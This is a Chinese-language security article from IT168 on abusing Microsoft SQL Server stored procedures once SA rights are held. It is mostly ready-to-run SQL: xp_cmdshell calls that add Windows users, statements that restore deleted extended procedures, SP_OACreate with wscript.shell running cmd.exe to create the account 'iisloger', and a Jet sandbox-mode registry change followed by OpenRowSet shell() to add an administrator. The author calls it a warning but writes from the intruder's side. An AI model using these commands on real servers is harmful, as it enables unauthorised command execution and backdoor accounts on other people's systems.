网络安全 频道

[攻防手记]SQL存储过程带来的安全危险

    【IT168专稿】看过笔者文章的读者可能知道,笔者在渗透的时候最喜欢使用一些存储过程有些都是已知的,但是很多人并不常用,强大的SQL存储过程带来的安全危险是不能忽视的,这里我把笔者整理的一些常用的SQL语句以及存储过程共享出来,希望能引起注意。

    首先说一下如果我们手中有SA权限那么我们该怎么做呢? 很多朋友就会想到了执行DOS命令加一个管理员权限的用户 用SQL执行的语句就是

    exec master.dbo.xp_cmdshell 'net user xx xx/add' 但是很多时候我们在使用工具的时候并不能成功的加用户,

    原因可能有以下几个:

    1.xp_cmdshell 被删除
    2.xp_cmdshell所使用的xplog70.dll被删除

    那么如果是第一中情况的话就很简单了,我们只需要恢复存储过程就可以了。恢复存储过程的语句如下:

    ★
    use master 
    exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' 
    exec sp_addextendedproc xp_dirtree,'xpstar.dll' 
    exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 
    exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 
    exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 
    exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 
    exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 
    exec sp_addextendedproc sp_OACreate,'odsole70.dll' 
    exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 
    exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 
    exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 
    exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 
    exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 
    exec sp_addextendedproc sp_OAStop,'odsole70.dll' 
    exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 
    exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 
    exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 
    exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 
    exec sp_addextendedproc xp_regread,'xpstar.dll' 
    exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 
    exec sp_addextendedproc xp_regwrite,'xpstar.dll' 
    ★

    以上语句就是恢复存储过程需要的语句了,我们只需要执行以上语句就可以成功恢复存储过程,继续执行我们想要的语句,另外我再告诉大家xp_cmdshell新的恢复办法。

    扩展储存过程被删除以后可以有很简单的办法恢复:
    删除
    drop procedure sp_addextendedproc
    drop procedure sp_oacreate
    exec sp_dropextendedproc 'xp_cmdshell'

    恢复
    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

    那么我们继续来解决第二个问题, 如果是DLL被删了该怎么办呢? 很多朋友说再传一个上去就好了,可是笔者还是感觉那样很麻烦可以执行系统命令的存储过程可还有一个,那就是SP_OAcreate ,语句是:
    ★
    DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user iisloger hook /add'
    ★
    上面的语句就是添加一个用户名为iisloger密码为hook的用户。但是我们要注意了,使用 SP_OAcreate是需要wscript.shell来支持的。如果wscript.shell被删除的话就是不能执行成功了。

    另外在SA权限的时候我们还有一种方法可以执行系统命令,那就是我们常说的沙盒模式
    代码如下:
    ★
    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0    \Engine','SandBoxMode','REG_DWORD','0'
    意思是修改注册表 开启沙盒

    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sadfish fish /add")');
    利用沙盒模式来添加个管理员
    ★

0
相关文章